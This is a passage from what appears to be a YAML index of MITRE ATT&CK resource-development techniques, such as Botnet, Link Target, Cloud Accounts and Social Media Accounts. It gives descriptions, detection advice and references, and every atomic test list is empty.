      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Persona: Social Media'
      - 'Network Traffic: Network Traffic Content'
      type: attack-pattern
      id: attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a
      created: '2020-10-01T01:17:15.965Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1586
        external_id: T1586
      - source_name: AnonHBGary
        description: 'Bright, P. (2011, February 15). Anonymous speaks: the inside
          story of the HBGary hack. Retrieved March 9, 2017.'
        url: https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
      - source_name: Microsoft DEV-0537
        description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting
          organizations for data exfiltration and destruction. Retrieved March 23,
          2022.
        url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1584.005:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3
      created: '2020-10-01T00:58:35.269Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1584.005
        url: https://attack.mitre.org/techniques/T1584/005
      - source_name: Dell Dridex Oct 2015
        url: https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
        description: Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015,
          October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May
          31, 2019.
      - source_name: Imperva DDoS for Hire
        url: https://www.imperva.com/learn/ddos/booters-stressers-ddosers/
        description: Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October
          4, 2020.
      - source_name: Norton Botnet
        url: https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html
        description: Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: 'Adversaries may compromise numerous third-party systems to form
        a botnet that can be used during targeting. A botnet is a network of compromised
        systems that can be instructed to perform coordinated tasks.(Citation: Norton
        Botnet) Instead of purchasing/renting a botnet from a booter/stresser service,
        adversaries may build their own botnet by compromising numerous third-party
        systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover
        of an existing botnet, such as redirecting bots to adversary-controlled C2
        servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal,
        adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566)
        or Distributed Denial of Service (DDoS).'
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Botnet
      x_mitre_detection: Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint
        Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network
        Denial of Service](https://attack.mitre.org/techniques/T1498).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_is_subtechnique: true
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1608:
    technique:
      modified: '2022-10-19T22:01:05.551Z'
      name: Stage Capabilities
      description: |-
        Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)

        Staging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):

        * Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)
        * Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)
        * Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)
        * Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0
      created: '2021-03-17T20:04:09.331Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1608
        external_id: T1608
      - source_name: Volexity Ocean Lotus November 2020
        description: 'Adair, S. and Lancaster, T. (2020, November 6). OceanLotus:
          Extending Cyber Espionage Operations Through Fake Websites. Retrieved November
          20, 2020.'
        url: https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/
      - source_name: Netskope GCP Redirection
        description: Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google
          Cloud Platform Open Redirection. Retrieved August 18, 2022.
        url: https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection
      - source_name: Netskope Cloud Phishing
        description: 'Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing
          from Google App Engine and Azure App Service. Retrieved August 18, 2022.'
        url: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service
      - source_name: ATT ScanBox
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
      - source_name: DigiCert Install SSL Cert
        description: DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved
          April 19, 2021.
        url: https://www.digicert.com/kb/ssl-certificate-installation.htm
      - source_name: Gallagher 2015
        description: Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking
          group hacked 100+ websites to use as “watering holes”. Retrieved January
          25, 2016.
        url: http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/
      - source_name: Malwarebytes Heroku Skimmers
        description: 'Jérôme Segura. (2019, December 4). There''s an app for that:
          web skimmers found on PaaS Heroku. Retrieved August 18, 2022.'
        url: https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku
      - source_name: Dragos Heroku Watering Hole
        description: 'Kent Backman. (2021, May 18). When Intrusions Don’t Align: A
          New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.'
        url: https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/
      - source_name: FireEye CFR Watering Hole 2012
        description: Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details.
          Retrieved December 18, 2020.
        url: https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html
      - source_name: Malwarebytes Silent Librarian October 2020
        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
          Librarian APT right on schedule for 20/21 academic year. Retrieved February
          3, 2021.
        url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
      - source_name: Proofpoint TA407 September 2019
        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
        url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1608.005:
    technique:
      modified: '2024-04-13T14:03:24.673Z'
      name: Link Target
      description: "Adversaries may put in place resources that are referenced by
        a link that can be used during targeting. An adversary may rely upon a user
        clicking a malicious link in order to divulge information (including credentials)
        or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
        Links can be used for spearphishing, such as sending an email accompanied
        by social engineering text to coax the user to actively click or copy and
        paste a URL into a browser. Prior to a phish for information (as in [Spearphishing
        Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial
        access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)),
        an adversary must set up the resources for a link target for the spearphishing
        link. \n\nTypically, the resources for a link target will be an HTML page
        that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007)
        to decide what content to serve to the user. Adversaries may clone legitimate
        sites to serve as the link target, this can include cloning of login pages
        of legitimate web services or organization login pages in an effort to harvest
        credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation:
        Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September
        2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001)
        and have the link target point to malware for download/execution by the user.\n\nAdversaries
        may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting,
        different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001))
        to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks
        can be written by adversaries to mask the true destination in order to deceive
        victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation:
        Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use
        free or paid accounts on link shortening services and Platform-as-a-Service
        providers to host link targets while taking advantage of the widely trusted
        domains of those providers to avoid being blocked while redirecting victims
        to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope
        Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect)
        In addition, adversaries may serve a variety of malicious links through uniquely
        generated URIs/URLs.(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI
        Use)(Citation: URI Unique) Finally, adversaries may take advantage of the
        decentralized nature of the InterPlanetary File System (IPFS) to host link
        targets that are difficult to remove.(Citation: Talos IPFS 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Goldstein Menachem
      - Hen Porcilan
      - Diyar Saadi Ali
      - Nikola Kovac
      x_mitre_deprecated: false
      x_mitre_detection: |-
        If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.4'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701
      created: '2021-03-17T20:35:08.429Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1608/005
        external_id: T1608.005
      - source_name: Netskope GCP Redirection
        description: Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google
          Cloud Platform Open Redirection. Retrieved August 18, 2022.
        url: https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection
      - source_name: Netskope Cloud Phishing
        description: 'Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing
          from Google App Engine and Azure App Service. Retrieved August 18, 2022.'
        url: https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service
      - source_name: URI Unique
        description: Australian Cyber Security Centre. National Security Agency. (2020,
          April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.
        url: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
      - source_name: Kaspersky-masking
        description: Dedenok, Roman. (2023, December 12). How cybercriminals disguise
          URLs. Retrieved January 17, 2024.
        url: https://www.kaspersky.com/blog/malicious-redirect-methods/50045/
      - source_name: Talos IPFS 2022
        description: 'Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber
          Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March
          8, 2023.'
        url: https://blog.talosintelligence.com/ipfs-abuse/
      - source_name: Malwarebytes Silent Librarian October 2020
        description: Malwarebytes Threat Intelligence Team. (2020, October 14). Silent
          Librarian APT right on schedule for 20/21 academic year. Retrieved February
          3, 2021.
        url: https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/
      - source_name: URI
        description: Michael Cobb. (2007, October 11). Preparing for uniform resource
          identifier (URI) exploits. Retrieved February 9, 2024.
        url: https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits
      - source_name: URI Use
        description: Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use
          and Abuse. Retrieved February 9, 2024.
        url: https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf
      - source_name: iOS URL Scheme
        description: Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February
          9, 2024.
        url: https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html
      - source_name: Intezer App Service Phishing
        description: Paul Litvak. (2020, October 8). Kud I Enter Your Server? New
          Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.
        url: https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/
      - source_name: Proofpoint TA407 September 2019
        description: 'Proofpoint Threat Insight Team. (2019, September 5). Threat
          Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.'
        url: https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian
      - source_name: Cofense-redirect
        description: Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted
          in Large QR Code Phishing Campaign. Retrieved January 17, 2024.
        url: https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/
      - source_name: mandiant-masking
        description: 'Simonian, Nick. (2023, May 22). Don''t @ Me: URL Obfuscation
          Through Schema Abuse. Retrieved January 17, 2024.'
        url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1583.006:
    technique:
      modified: '2024-01-16T22:47:59.395Z'
      name: Web Services
      description: 'Adversaries may register for web services that can be used during
        targeting. A variety of popular websites exist for adversaries to register
        for a web-based service that can be abused during later stages of the adversary
        lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)),
        [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567),
        or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services,
        such as those offered by Google or Twitter, makes it easier for adversaries
        to hide in expected noise.(Citation: FireEye APT29) By utilizing a web service,
        adversaries can make it difficult to physically tie back operations to them.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Dor Edry, Microsoft
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54
      created: '2020-10-01T00:50:29.936Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1583/006
        external_id: T1583.006
      - source_name: FireEye APT29
        description: 'FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define
          a Russian Cyber Threat Group. Retrieved September 17, 2015.'
        url: https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1585.003:
    technique:
      modified: '2022-10-25T15:49:14.785Z'
      name: Cloud Accounts
      description: "Adversaries may create accounts with cloud providers that can
        be used during targeting. Adversaries can use cloud accounts to further their
        operations, including leveraging cloud storage services such as Dropbox, MEGA,
        Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002)
        or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud
        accounts can also be used in the acquisition of infrastructure, such as [Virtual
        Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007)
        infrastructure. Establishing cloud accounts may allow adversaries to develop
        sophisticated capabilities without managing their own servers.(Citation: Awake
        Security C2 Cloud)\n\nCreating [Cloud Accounts](https://attack.mitre.org/techniques/T1585/003)
        may also require adversaries to establish [Email Accounts](https://attack.mitre.org/techniques/T1585/002)
        to register with the cloud provider. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: 'Much of this activity will take place outside the visibility
        of the target organization, making detection of this behavior difficult. Detection
        efforts may be focused on related stages of the adversary lifecycle, such
        as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).'
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Francesco Bigarella
      type: attack-pattern
      id: attack-pattern--926d8cfd-1d0d-4da2-ab49-3ca10ec3f3b5
      created: '2022-05-27T14:06:05.130Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1585/003
        external_id: T1585.003
      - source_name: Awake Security C2 Cloud
        description: 'Gary Golomb and Tory Kei. (n.d.). Threat Hunting Series: Detecting
          Command & Control in the Cloud. Retrieved May 27, 2022.'
        url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.0.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1588.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - SOCCRATES
      - Mnemonic AS
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0
      type: attack-pattern
      created: '2020-10-01T02:08:33.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588.002
        url: https://attack.mitre.org/techniques/T1588/002
      - source_name: Recorded Future Beacon 2019
        url: https://www.recordedfuture.com/identifying-cobalt-strike-servers/
        description: 'Recorded Future. (2019, June 20). Out of the Blue: How Recorded
          Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.'
      - source_name: Analyzing CS Dec 2020
        url: https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/
        description: Maynier, E. (2020, December 20). Analyzing Cobalt Strike for
          Fun and Profit. Retrieved October 12, 2021.
      modified: '2021-10-17T16:17:55.499Z'
      name: Tool
      description: |-
        Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)

        Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Malware Repository: Malware Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1584.006:
    technique:
      modified: '2023-04-12T20:19:21.620Z'
      name: Web Services
      description: 'Adversaries may compromise access to third-party web services that
        can be used during targeting. A variety of popular websites exist for legitimate
        users to register for web-based services, such as GitHub, Twitter, Dropbox,
        Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate
        user''s access to a web service and use that web service as infrastructure
        in support of cyber operations. Such web services can be abused during later
        stages of the adversary lifecycle, such as during Command and Control ([Web
        Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web
        Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation:
        Recorded Future Turla Infra 2020) Using common services, such as those offered
        by Google or Twitter, makes it easier for adversaries to hide in expected
        noise. By utilizing a web service, particularly when access is stolen from
        legitimate users, adversaries can make it difficult to physically tie back
        operations to them. Additionally, leveraging compromised web-based email services
        may allow adversaries to leverage the trust associated with legitimate domains.'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_contributors:
      - Dor Edry, Microsoft
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - PRE
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      type: attack-pattern
      id: attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2
      created: '2020-10-01T01:01:00.176Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1584/006
        external_id: T1584.006
      - source_name: Recorded Future Turla Infra 2020
        description: 'Insikt Group. (2020, March 12). Swallowing the Snake’s Tail:
          Tracking Turla Infrastructure. Retrieved October 20, 2020.'
        url: https://www.recordedfuture.com/turla-apt-infrastructure/
      - source_name: ThreatConnect Infrastructure Dec 2020
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1585.001:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928
      type: attack-pattern
      created: '2020-10-01T01:08:41.124Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1585.001
        url: https://attack.mitre.org/techniques/T1585/001
      - source_name: NEWSCASTER2014
        description: Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials
          in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.
        url: https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation
      - source_name: BlackHatRobinSage
        description: Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved
          March 6, 2017.
        url: http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
      modified: '2022-04-25T14:00:00.188Z'
      name: Social Media Accounts
      description: "Adversaries may create and cultivate social media accounts that
        can be used during targeting. Adversaries can create social media accounts
        that can be used to build a persona to further operations. Persona development
        consists of the development of public information, presence, history and appropriate
        affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor
        operations incorporating social engineering, the utilization of a persona
        on social media may be important. These personas may be fictitious or impersonate
        real people. The persona may exist on a single social media site or across
        multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona
        \ on social media may require development of additional documentation to make
        them seem real. This could include filling out profile information, developing
        social networks, or incorporating photos. \n\nOnce a persona has been developed
        an adversary can use it to create connections to targets of interest. These
        connections may be direct or may include trying to connect through others.(Citation:
        NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged
        during other phases of the adversary lifecycle, such as during Initial Access
        (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003))."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).
      x_mitre_is_subtechnique: true
